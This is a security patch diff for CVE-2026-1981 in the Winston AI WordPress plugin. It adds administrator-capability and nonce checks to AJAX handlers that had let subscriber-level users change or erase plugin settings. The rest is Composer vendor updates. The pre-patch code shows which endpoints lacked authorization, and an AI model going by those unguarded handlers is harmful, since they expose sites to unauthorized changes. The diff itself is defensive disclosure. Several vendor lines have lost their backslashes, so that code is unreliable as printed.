CVE-2026-1981: Winston AI <= 0.0.3 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Settings Deletion (winston-ai-wp)

--- a/winston-ai-wp/ajax/Ajax_Admin.php
+++ b/winston-ai-wp/ajax/Ajax_Admin.php
@@ -47,6 +47,12 @@

     public function winston_link_website()
     {
+        // Verify user has administrator capabilities
+        if (!current_user_can('manage_options')) {
+            wp_send_json_error(array('message' => 'Unauthorized access.'));
+            return;
+        }
+
         // Sanitize and verify the nonce
         if (!isset($_POST['winston_link_website_nonce']) || !wp_verify_nonce(sanitize_text_field($_POST['winston_link_website_nonce']), 'winston_link_website_action')) {
             wp_send_json_error(array('message' => 'Nonce verification failed.'));
@@ -115,6 +121,18 @@

     public function winston_verify_website()
     {
+        // Verify user has administrator capabilities
+        if (!current_user_can('manage_options')) {
+            wp_send_json_error(array('message' => 'Unauthorized access.'));
+            return;
+        }
+
+        // Verify nonce for CSRF protection
+        if (!check_ajax_referer('winston-ai-nonce', 'nonce', false)) {
+            wp_send_json_error(array('message' => 'Nonce verification failed.'));
+            return;
+        }
+
         $token = get_option('winston_api_token');
         $id = get_option('winston_website_id');

@@ -192,6 +210,18 @@

     public function winston_disconnect()
     {
+        // Verify user has administrator capabilities
+        if (!current_user_can('manage_options')) {
+            wp_send_json_error(array('message' => 'Unauthorized access.'));
+            return;
+        }
+
+        // Verify nonce for CSRF protection
+        if (!check_ajax_referer('winston-ai-nonce', 'nonce', false)) {
+            wp_send_json_error(array('message' => 'Nonce verification failed.'));
+            return;
+        }
+
         update_option('winston_api_token', null);
         update_option('winston_website_id', null);
         wp_send_json_success();
--- a/winston-ai-wp/assets/build/plugin-settings.asset.php
+++ b/winston-ai-wp/assets/build/plugin-settings.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '75d89300be97dd3a1509');
+<?php return array('dependencies' => array(), 'version' => '1e7bae1e56bb40aa2510');
--- a/winston-ai-wp/vendor/autoload.php
+++ b/winston-ai-wp/vendor/autoload.php
@@ -14,12 +14,9 @@
             echo $err;
         }
     }
-    trigger_error(
-        $err,
-        E_USER_ERROR
-    );
+    throw new RuntimeException($err);
 }

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit67381101e5af338d0d3e6777a811de2a::getLoader();
+return ComposerAutoloaderInit958c5bbc9024950577d8c22992815a68::getLoader();
--- a/winston-ai-wp/vendor/composer/InstalledVersions.php
+++ b/winston-ai-wp/vendor/composer/InstalledVersions.php
@@ -27,6 +27,12 @@
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
@@ -323,6 +329,18 @@
     }

     /**
+     * @return string
+     */
+    private static function getSelfDir()
+    {
+        if (self::$selfDir === null) {
+            self::$selfDir = strtr(__DIR__, '\', '/');
+        }
+
+        return self::$selfDir;
+    }
+
+    /**
      * @return array[]
      * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
      */
@@ -336,7 +354,7 @@
         $copiedLocalDir = false;

         if (self::$canGetVendors) {
-            $selfDir = strtr(__DIR__, '\', '/');
+            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
                 $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
--- a/winston-ai-wp/vendor/composer/autoload_classmap.php
+++ b/winston-ai-wp/vendor/composer/autoload_classmap.php
@@ -8,13 +8,14 @@
 return array(
     'Composer\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php',
     'Composer\Installers\AglInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/AglInstaller.php',
-    'Composer\Installers\AimeosInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/AimeosInstaller.php',
+    'Composer\Installers\AkauntingInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/AkauntingInstaller.php',
     'Composer\Installers\AnnotateCmsInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/AnnotateCmsInstaller.php',
     'Composer\Installers\AsgardInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/AsgardInstaller.php',
     'Composer\Installers\AttogramInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/AttogramInstaller.php',
     'Composer\Installers\BaseInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/BaseInstaller.php',
     'Composer\Installers\BitrixInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/BitrixInstaller.php',
     'Composer\Installers\BonefishInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/BonefishInstaller.php',
+    'Composer\Installers\BotbleInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/BotbleInstaller.php',
     'Composer\Installers\CakePHPInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/CakePHPInstaller.php',
     'Composer\Installers\ChefInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ChefInstaller.php',
     'Composer\Installers\CiviCrmInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/CiviCrmInstaller.php',
@@ -22,7 +23,7 @@
     'Composer\Installers\CockpitInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/CockpitInstaller.php',
     'Composer\Installers\CodeIgniterInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/CodeIgniterInstaller.php',
     'Composer\Installers\Concrete5Installer' => $vendorDir . '/composer/installers/src/Composer/Installers/Concrete5Installer.php',
-    'Composer\Installers\CraftInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/CraftInstaller.php',
+    'Composer\Installers\ConcreteCMSInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ConcreteCMSInstaller.php',
     'Composer\Installers\CroogoInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/CroogoInstaller.php',
     'Composer\Installers\DecibelInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/DecibelInstaller.php',
     'Composer\Installers\DframeInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/DframeInstaller.php',
@@ -33,6 +34,7 @@
     'Composer\Installers\EliasisInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/EliasisInstaller.php',
     'Composer\Installers\ExpressionEngineInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ExpressionEngineInstaller.php',
     'Composer\Installers\EzPlatformInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/EzPlatformInstaller.php',
+    'Composer\Installers\ForkCMSInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ForkCMSInstaller.php',
     'Composer\Installers\FuelInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/FuelInstaller.php',
     'Composer\Installers\FuelphpInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/FuelphpInstaller.php',
     'Composer\Installers\GravInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/GravInstaller.php',
@@ -40,9 +42,7 @@
     'Composer\Installers\ImageCMSInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ImageCMSInstaller.php',
     'Composer\Installers\Installer' => $vendorDir . '/composer/installers/src/Composer/Installers/Installer.php',
     'Composer\Installers\ItopInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/ItopInstaller.php',
-    'Composer\Installers\JoomlaInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/JoomlaInstaller.php',
     'Composer\Installers\KanboardInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/KanboardInstaller.php',
-    'Composer\Installers\KirbyInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/KirbyInstaller.php',
     'Composer\Installers\KnownInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/KnownInstaller.php',
     'Composer\Installers\KodiCMSInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/KodiCMSInstaller.php',
     'Composer\Installers\KohanaInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/KohanaInstaller.php',
@@ -56,6 +56,7 @@
     'Composer\Installers\MajimaInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MajimaInstaller.php',
     'Composer\Installers\MakoInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MakoInstaller.php',
     'Composer\Installers\MantisBTInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MantisBTInstaller.php',
+    'Composer\Installers\MatomoInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MatomoInstaller.php',
     'Composer\Installers\MauticInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MauticInstaller.php',
     'Composer\Installers\MayaInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MayaInstaller.php',
     'Composer\Installers\MediaWikiInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/MediaWikiInstaller.php',
@@ -71,7 +72,6 @@
     'Composer\Installers\PantheonInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/PantheonInstaller.php',
     'Composer\Installers\PhiftyInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/PhiftyInstaller.php',
     'Composer\Installers\PhpBBInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/PhpBBInstaller.php',
-    'Composer\Installers\PimcoreInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/PimcoreInstaller.php',
     'Composer\Installers\PiwikInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/PiwikInstaller.php',
     'Composer\Installers\PlentymarketsInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/PlentymarketsInstaller.php',
     'Composer\Installers\Plugin' => $vendorDir . '/composer/installers/src/Composer/Installers/Plugin.php',
@@ -92,9 +92,6 @@
     'Composer\Installers\StarbugInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/StarbugInstaller.php',
     'Composer\Installers\SyDESInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/SyDESInstaller.php',
     'Composer\Installers\SyliusInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/SyliusInstaller.php',
-    'Composer\Installers\Symfony1Installer' => $vendorDir . '/composer/installers/src/Composer/Installers/Symfony1Installer.php',
-    'Composer\Installers\TYPO3CmsInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/TYPO3CmsInstaller.php',
-    'Composer\Installers\TYPO3FlowInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/TYPO3FlowInstaller.php',
     'Composer\Installers\TaoInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/TaoInstaller.php',
     'Composer\Installers\TastyIgniterInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/TastyIgniterInstaller.php',
     'Composer\Installers\TheliaInstaller' => $vendorDir . '/composer/installers/src/Composer/Installers/TheliaInstaller.php',
--- a/winston-ai-wp/vendor/composer/autoload_real.php
+++ b/winston-ai-wp/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit67381101e5af338d0d3e6777a811de2a
+class ComposerAutoloaderInit958c5bbc9024950577d8c22992815a68
 {
     private static $loader;

@@ -24,16 +24,16 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit67381101e5af338d0d3e6777a811de2a', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit958c5bbc9024950577d8c22992815a68', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit67381101e5af338d0d3e6777a811de2a', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit958c5bbc9024950577d8c22992815a68', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInit67381101e5af338d0d3e6777a811de2a::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInit958c5bbc9024950577d8c22992815a68::getInitializer($loader));

         $loader->register(true);

-        $filesToLoad = ComposerAutoloadComposerStaticInit67381101e5af338d0d3e6777a811de2a::$files;
+        $filesToLoad = ComposerAutoloadComposerStaticInit958c5bbc9024950577d8c22992815a68::$files;
         $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
             if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
                 $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/winston-ai-wp/vendor/composer/autoload_static.php
+++ b/winston-ai-wp/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit67381101e5af338d0d3e6777a811de2a
+class ComposerStaticInit958c5bbc9024950577d8c22992815a68
 {
     public static $files = array (
         '75224de648373daee048deff719e279d' => __DIR__ . '/..' . '/inpsyde/assets/inc/functions.php',
@@ -14,7 +14,7 @@
     );

     public static $prefixLengthsPsr4 = array (
-        'W' =>
+        'W' =>
         array (
             'Winston_AI\Rest\' => 16,
             'Winston_AI\Internals\' => 21,
@@ -25,72 +25,72 @@
             'Winston_AI\Backend\' => 19,
             'Winston_AI\Ajax\' => 16,
         ),
-        'M' =>
+        'M' =>
         array (
             'Micropackage\Requirements\' => 26,
             'Micropackage\Internationalization\' => 34,
         ),
-        'I' =>
+        'I' =>
         array (
             'Inpsyde\Assets\' => 15,
             'Inpsyde\' => 8,
         ),
-        'C' =>
+        'C' =>
         array (
             'Composer\Installers\' => 20,
         ),
     );

     public static $prefixDirsPsr4 = array (
-        'Winston_AI\Rest\' =>
+        'Winston_AI\Rest\' =>
         array (
             0 => __DIR__ . '/../..' . '/rest',
         ),
-        'Winston_AI\Internals\' =>
+        'Winston_AI\Internals\' =>
         array (
             0 => __DIR__ . '/../..' . '/internals',
         ),
-        'Winston_AI\Integrations\' =>
+        'Winston_AI\Integrations\' =>
         array (
             0 => __DIR__ . '/../..' . '/integrations',
         ),
-        'Winston_AI\Frontend\' =>
+        'Winston_AI\Frontend\' =>
         array (
             0 => __DIR__ . '/../..' . '/frontend',
         ),
-        'Winston_AI\Engine\' =>
+        'Winston_AI\Engine\' =>
         array (
             0 => __DIR__ . '/../..' . '/engine',
         ),
-        'Winston_AI\Cli\' =>
+        'Winston_AI\Cli\' =>
         array (
             0 => __DIR__ . '/../..' . '/cli',
         ),
-        'Winston_AI\Backend\' =>
+        'Winston_AI\Backend\' =>
         array (
             0 => __DIR__ . '/../..' . '/backend',
         ),
-        'Winston_AI\Ajax\' =>
+        'Winston_AI\Ajax\' =>
         array (
             0 => __DIR__ . '/../..' . '/ajax',
         ),
-        'Micropackage\Requirements\' =>
+        'Micropackage\Requirements\' =>
         array (
             0 => __DIR__ . '/..' . '/micropackage/requirements/src',
         ),
-        'Micropackage\Internationalization\' =>
+        'Micropackage\Internationalization\' =>
         array (
             0 => __DIR__ . '/..' . '/micropackage/internationalization/src',
         ),
-        'Inpsyde\Assets\' =>
+        'Inpsyde\Assets\' =>
         array (
             0 => __DIR__ . '/..' . '/inpsyde/assets/src',
         ),
-        'Inpsyde\' =>
+        'Inpsyde\' =>
         array (
             0 => __DIR__ . '/..' . '/inpsyde/wp-context/src',
         ),
-        'Composer\Installers\' =>
+        'Composer\Installers\' =>
         array (
             0 => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers',
         ),
@@ -99,13 +99,14 @@
     public static $classMap = array (
         'Composer\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
         'Composer\Installers\AglInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/AglInstaller.php',
-        'Composer\Installers\AimeosInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/AimeosInstaller.php',
+        'Composer\Installers\AkauntingInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/AkauntingInstaller.php',
         'Composer\Installers\AnnotateCmsInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/AnnotateCmsInstaller.php',
         'Composer\Installers\AsgardInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/AsgardInstaller.php',
         'Composer\Installers\AttogramInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/AttogramInstaller.php',
         'Composer\Installers\BaseInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/BaseInstaller.php',
         'Composer\Installers\BitrixInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/BitrixInstaller.php',
         'Composer\Installers\BonefishInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/BonefishInstaller.php',
+        'Composer\Installers\BotbleInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/BotbleInstaller.php',
         'Composer\Installers\CakePHPInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/CakePHPInstaller.php',
         'Composer\Installers\ChefInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ChefInstaller.php',
         'Composer\Installers\CiviCrmInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/CiviCrmInstaller.php',
@@ -113,7 +114,7 @@
         'Composer\Installers\CockpitInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/CockpitInstaller.php',
         'Composer\Installers\CodeIgniterInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/CodeIgniterInstaller.php',
         'Composer\Installers\Concrete5Installer' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/Concrete5Installer.php',
-        'Composer\Installers\CraftInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/CraftInstaller.php',
+        'Composer\Installers\ConcreteCMSInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ConcreteCMSInstaller.php',
         'Composer\Installers\CroogoInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/CroogoInstaller.php',
         'Composer\Installers\DecibelInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/DecibelInstaller.php',
         'Composer\Installers\DframeInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/DframeInstaller.php',
@@ -124,6 +125,7 @@
         'Composer\Installers\EliasisInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/EliasisInstaller.php',
         'Composer\Installers\ExpressionEngineInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ExpressionEngineInstaller.php',
         'Composer\Installers\EzPlatformInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/EzPlatformInstaller.php',
+        'Composer\Installers\ForkCMSInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ForkCMSInstaller.php',
         'Composer\Installers\FuelInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/FuelInstaller.php',
         'Composer\Installers\FuelphpInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/FuelphpInstaller.php',
         'Composer\Installers\GravInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/GravInstaller.php',
@@ -131,9 +133,7 @@
         'Composer\Installers\ImageCMSInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ImageCMSInstaller.php',
         'Composer\Installers\Installer' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/Installer.php',
         'Composer\Installers\ItopInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/ItopInstaller.php',
-        'Composer\Installers\JoomlaInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/JoomlaInstaller.php',
         'Composer\Installers\KanboardInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/KanboardInstaller.php',
-        'Composer\Installers\KirbyInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/KirbyInstaller.php',
         'Composer\Installers\KnownInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/KnownInstaller.php',
         'Composer\Installers\KodiCMSInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/KodiCMSInstaller.php',
         'Composer\Installers\KohanaInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/KohanaInstaller.php',
@@ -147,6 +147,7 @@
         'Composer\Installers\MajimaInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MajimaInstaller.php',
         'Composer\Installers\MakoInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MakoInstaller.php',
         'Composer\Installers\MantisBTInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MantisBTInstaller.php',
+        'Composer\Installers\MatomoInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MatomoInstaller.php',
         'Composer\Installers\MauticInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MauticInstaller.php',
         'Composer\Installers\MayaInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MayaInstaller.php',
         'Composer\Installers\MediaWikiInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/MediaWikiInstaller.php',
@@ -162,7 +163,6 @@
         'Composer\Installers\PantheonInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/PantheonInstaller.php',
         'Composer\Installers\PhiftyInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/PhiftyInstaller.php',
         'Composer\Installers\PhpBBInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/PhpBBInstaller.php',
-        'Composer\Installers\PimcoreInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/PimcoreInstaller.php',
         'Composer\Installers\PiwikInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/PiwikInstaller.php',
         'Composer\Installers\PlentymarketsInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/PlentymarketsInstaller.php',
         'Composer\Installers\Plugin' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/Plugin.php',
@@ -183,9 +183,6 @@
         'Composer\Installers\StarbugInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/StarbugInstaller.php',
         'Composer\Installers\SyDESInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/SyDESInstaller.php',
         'Composer\Installers\SyliusInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/SyliusInstaller.php',
-        'Composer\Installers\Symfony1Installer' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/Symfony1Installer.php',
-        'Composer\Installers\TYPO3CmsInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/TYPO3CmsInstaller.php',
-        'Composer\Installers\TYPO3FlowInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/TYPO3FlowInstaller.php',
         'Composer\Installers\TaoInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/TaoInstaller.php',
         'Composer\Installers\TastyIgniterInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/TastyIgniterInstaller.php',
         'Composer\Installers\TheliaInstaller' => __DIR__ . '/..' . '/composer/installers/src/Composer/Installers/TheliaInstaller.php',
@@ -267,9 +264,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit67381101e5af338d0d3e6777a811de2a::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit67381101e5af338d0d3e6777a811de2a::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit67381101e5af338d0d3e6777a811de2a::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit958c5bbc9024950577d8c22992815a68::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit958c5bbc9024950577d8c22992815a68::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit958c5bbc9024950577d8c22992815a68::$classMap;

         }, null, ClassLoader::class);
     }
--- a/winston-ai-wp/vendor/composer/installed.php
+++ b/winston-ai-wp/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'wpbp/wordpress-plugin-boilerplate-powered',
         'pretty_version' => 'dev-main',
         'version' => 'dev-main',
-        'reference' => 'a9499da9dab9eeb6721d8a44057d2f003432a9df',
+        'reference' => 'b671023597d493f962c5e41906b59bacabdeca82',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,18 +20,18 @@
             'dev_requirement' => false,
         ),
         'composer/installers' => array(
-            'pretty_version' => 'v1.12.0',
-            'version' => '1.12.0.0',
-            'reference' => 'd20a64ed3c94748397ff5973488761b22f6d3f19',
+            'pretty_version' => 'v2.3.0',
+            'version' => '2.3.0.0',
+            'reference' => '12fb2dfe5e16183de69e784a7b84046c43d97e8e',
             'type' => 'composer-plugin',
             'install_path' => __DIR__ . '/./installers',
             'aliases' => array(),
             'dev_requirement' => false,
         ),
         'inpsyde/assets' => array(
-            'pretty_version' => '2.12.0',
-            'version' => '2.12.0.0',
-            'reference' => '9bf2a427270a3c803544f807f4b32fe10d8c834b',
+            'pretty_version' => '2.13',
+            'version' => '2.13.0.0',
+            'reference' => '3b30fb2ec910d834f19a4010bebfdb17423fb21a',
             'type' => 'library',
             'install_path' => __DIR__ . '/../inpsyde/assets',
             'aliases' => array(),
@@ -75,18 +75,6 @@
             ),
             'dev_requirement' => false,
         ),
-        'roundcube/plugin-installer' => array(
-            'dev_requirement' => false,
-            'replaced' => array(
-                0 => '*',
-            ),
-        ),
-        'shama/baton' => array(
-            'dev_requirement' => false,
-            'replaced' => array(
-                0 => '*',
-            ),
-        ),
         'wpbp/debug' => array(
             'pretty_version' => '1.1.4',
             'version' => '1.1.4.0',
@@ -108,7 +96,7 @@
         'wpbp/wordpress-plugin-boilerplate-powered' => array(
             'pretty_version' => 'dev-main',
             'version' => 'dev-main',
-            'reference' => 'a9499da9dab9eeb6721d8a44057d2f003432a9df',
+            'reference' => 'b671023597d493f962c5e41906b59bacabdeca82',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/AglInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/AglInstaller.php
@@ -1,8 +1,10 @@
 <?php
+
 namespace ComposerInstallers;

 class AglInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'module' => 'More/{$name}/',
     );
@@ -10,12 +12,18 @@
     /**
      * Format package name to CamelCase
      */
-    public function inflectPackageVars($vars)
+    public function inflectPackageVars(array $vars): array
     {
-        $vars['name'] = preg_replace_callback('/(?:^|_|-)(.?)/', function ($matches) {
+        $name = preg_replace_callback('/(?:^|_|-)(.?)/', function ($matches) {
             return strtoupper($matches[1]);
         }, $vars['name']);

+        if (null === $name) {
+            throw new RuntimeException('Failed to run preg_replace_callback: '.preg_last_error());
+        }
+
+        $vars['name'] = $name;
+
         return $vars;
     }
 }
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/AimeosInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/AimeosInstaller.php
@@ -1,9 +0,0 @@
-<?php
-namespace ComposerInstallers;
-
-class AimeosInstaller extends BaseInstaller
-{
-    protected $locations = array(
-        'extension'   => 'ext/{$name}/',
-    );
-}
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/AkauntingInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/AkauntingInstaller.php
@@ -0,0 +1,23 @@
+<?php
+
+namespace ComposerInstallers;
+
+class AkauntingInstaller extends BaseInstaller
+{
+    /** @var array<string, string> */
+    protected $locations = array(
+        'module' => 'modules/{$name}',
+    );
+
+    /**
+     * Format package name to CamelCase
+     */
+    public function inflectPackageVars(array $vars): array
+    {
+        $vars['name'] = strtolower($this->pregReplace('/(?<=\w)([A-Z])/', '_\1', $vars['name']));
+        $vars['name'] = str_replace(array('-', '_'), ' ', $vars['name']);
+        $vars['name'] = str_replace(' ', '', ucwords($vars['name']));
+
+        return $vars;
+    }
+}
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/AnnotateCmsInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/AnnotateCmsInstaller.php
@@ -1,8 +1,10 @@
 <?php
+
 namespace ComposerInstallers;

 class AnnotateCmsInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'module'    => 'addons/modules/{$name}/',
         'component' => 'addons/components/{$name}/',
--- a/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/AsgardInstaller.php
+++ b/winston-ai-wp/vendor/composer/installers/src/Composer/Installers/AsgardInstaller.php
@@ -1,8 +1,10 @@
 <?php
+
 namespace ComposerInstallers;

 class AsgardInstaller extends BaseInstaller
 {
+    /** @var array<string, string> */
     protected $locations = array(
         'module' => 'Modules/{$name}/',
         'theme' => 'Themes/{$name}/'
@@ -14,9 +16,8 @@
      * For package type asgard-module, cut off a trailing '-plugin' if present.
      *
      * For package type asgard-theme, cut off a trailing '-theme' if present.
-     *
      */
-    public function inflectPackageVars($vars)
+    public function inflectPackageVars(array $vars): array
     {
